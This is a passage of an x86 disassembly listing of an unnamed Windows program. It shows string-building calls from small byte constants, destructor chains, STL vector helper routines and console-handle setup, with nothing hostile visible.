push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 36h call sub_4019B5 add esp, 64h mov byte ptr [esp+370h], 37h mov ecx, eax call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+0F11h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 38h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx mov byte ptr [esp+3D0h], 39h call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Ah call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+107Eh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Bh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D638F push eax mov [esp+14h], edi call sub_401A5F lea ecx, [esp+98h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 3Ch call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Dh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1234h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Eh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3CCh], 3Fh push 13h lea eax, [esp+8Ch] push eax call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 40h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+127Dh] mov byte ptr [esp+388h], 41h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+158h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+78h] push 13h push edx mov byte ptr [esp+3C4h], 42h call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 43h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+11EBh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 44h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+188h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+80h] push 13h push ecx mov byte ptr [esp+3CCh], 45h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 46h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+11A2h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 47h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3D4h], 48h push 13h lea eax, [esp+94h] push eax call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 49h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Ah call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+170h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 4Bh call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Ch call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1159h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 4Dh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+84h] push 13h push eax mov byte ptr [esp+3D0h], 4Eh call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 4Fh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+12C6h] mov byte ptr [esp+388h], 50h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea edx, [esp+10h] mov ecx, offset byte_4D638F push edx mov [esp+14h], edi call sub_401A5F push offset byte_446F70 push offset word_4E6E9A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_401424 lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401424 push 56D2h push 539h mov byte ptr [esp+360h], 52h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 push eax lea eax, [esp+234h] push offset dword_4437F4 push eax call sub_40102D push 56D2h push 539h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 14h push eax push offset dword_4437F4 lea ecx, [esp+268h] push ecx call sub_40102D sub esp, 0Ch lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+606h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+52Bh] push eax mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+278h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1B8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+230h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+0F8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+290h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2C0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E6E9A call sub_4014C9 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+140h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+110h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 16Dh call sub_4017E4 push eax push offset byte_44742D mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 1B6h call sub_4017E4 push eax push offset dword_4473E4 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] call sub_4017E4 push eax push offset dword_4472C0 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 124h call sub_4017E4 push eax push offset word_447352 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 0DBh call sub_4017E4 push eax push offset byte_447309 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 92h call sub_4017E4 push eax push offset byte_44739B mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 1FFh call sub_4017E4 push eax push offset byte_4474BF mov ecx, offset word_448D16 call sub_401596 lea ecx, [esp+1D0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 lea ecx, [esp+260h] mov byte ptr [esp+370h], 53h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+8Ch], esp push eax call sub_401861 lea ecx, [esp+230h] mov byte ptr [esp+388h], 54h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0A8h], esp push eax call sub_401861 lea ecx, [esp+110h] mov byte ptr [esp+3A0h], 55h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0C4h], esp push eax call sub_401861 mov ecx, offset word_448C9E mov byte ptr [esp+3B8h], 52h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+98h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 2 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 1 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+1E8h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 5C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409450 proc near ; CODE XREF: sub_40146Aj arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401974 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409468 mov ecx, esi call sub_40190B ; --------------------------------------------------------------------------- loc_409468: ; CODE XREF: sub_409450+Fj mov ecx, esi call sub_401A37 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409450 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409490 proc near ; CODE XREF: sub_401A5Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_40168B pop esi retn 4 sub_409490 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094C0 proc near ; CODE XREF: sub_401A37j mov eax, [ecx+4] retn sub_4094C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094E0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4094E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409500 proc near ; CODE XREF: sub_401974j mov edx, [ecx+4] test edx, edx jnz short loc_40950A xor eax, eax retn ; --------------------------------------------------------------------------- loc_40950A: ; CODE XREF: sub_409500+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_409500 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_40168Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A37 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401B9A mov ecx, edi call sub_401A37 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409530 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409580 proc near ; CODE XREF: sub_40190Bj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] call near ptr 760A0430h nop lea edx, [esp+48h+var_34] push offset dword_43F080 push edx call sub_436832 sub_409580 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409600 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4096CB mov ecx, esi call sub_401974 cmp edi, eax jnb short loc_409633 mov ecx, esi call sub_401974 mov ebp, eax jmp short loc_409635 ; --------------------------------------------------------------------------- loc_409633: ; CODE XREF: sub_409600+26j mov ebp, edi loc_409635: ; CODE XREF: sub_409600+31j mov ecx, esi call sub_401974 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CAD ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016D6 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401974 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4096CB: ; CODE XREF: sub_409600+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409729 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401F96 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409729: ; CODE XREF: sub_409600+D8j test edi, edi jbe short loc_409763 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016D6 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CCB mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401F96 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409763: ; CODE XREF: sub_409600+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_409600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4097D0 proc near ; CODE XREF: sub_40170Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4097F0 loc_4097E1: ; CODE XREF: sub_4097D0+1Ej push esi mov ecx, edi call sub_402072 add esi, 4 cmp esi, ebx jnz short loc_4097E1 loc_4097F0: ; CODE XREF: sub_4097D0+Fj pop edi pop esi pop ebx retn 8 sub_4097D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409810 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_409810 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409830 proc near ; CODE XREF: sub_402072j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409830 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409850 proc near ; CODE XREF: sub_4016D6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409882 push edi mov edi, [esp+10h+arg_8] loc_409866: ; CODE XREF: sub_409850+27j push esi push edi mov ecx, ebx call sub_4015AA add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409866 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409882: ; CODE XREF: sub_409850+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098A0 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4098C7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_4098B6: ; CODE XREF: sub_4098A0+23j push ebx push esi mov ecx, ebp call sub_4015AA add esi, 4 dec edi jnz short loc_4098B6 pop esi pop ebx loc_4098C7: ; CODE XREF: sub_4098A0+Aj pop edi pop ebp retn 0Ch sub_4098A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098E0 proc near ; CODE XREF: sub_401CADj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_40203B sub_4098E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_4015AAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_409910 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409940 proc near ; CODE XREF: sub_401F96j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40995D mov edx, [esp+arg_8] push esi loc_409951: ; CODE XREF: sub_409940+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409951 pop esi locret_40995D: ; CODE XREF: sub_409940+Aj retn sub_409940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409970 proc near ; CODE XREF: sub_401CCBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409992 mov eax, [esp+arg_8] push esi loc_409981: ; CODE XREF: sub_409970+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409981 pop esi retn ; --------------------------------------------------------------------------- loc_409992: ; CODE XREF: sub_409970+Aj mov eax, [esp+arg_8] retn sub_409970 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099D0 proc near ; CODE XREF: sub_40203Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4099DA xor eax, eax loc_4099DA: ; CODE XREF: sub_4099D0+6j shl eax, 2 push eax call sub_4367FA sub_4099D0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A00 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409A1B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409A1B: ; CODE XREF: sub_409A00+11j retn sub_409A00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A30 proc near ; CODE XREF: sub_401979j arg_0 = dword ptr 4 mov al, byte_44719A push esi test al, al mov esi, ecx jz short loc_409A66 push edi nop call near ptr 282165Eh mov edi, dword_50F8C4 push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409A66: ; CODE XREF: sub_409A30+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409A30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AA0 proc near ; CODE XREF: sub_401CDAj mov al, byte_44719A push esi test al, al mov esi, ecx jz short loc_409ABF nop call near ptr 28219BDh mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409ABF: ; CODE XREF: sub_409AA0+Aj mov byte ptr [esi+8], 0 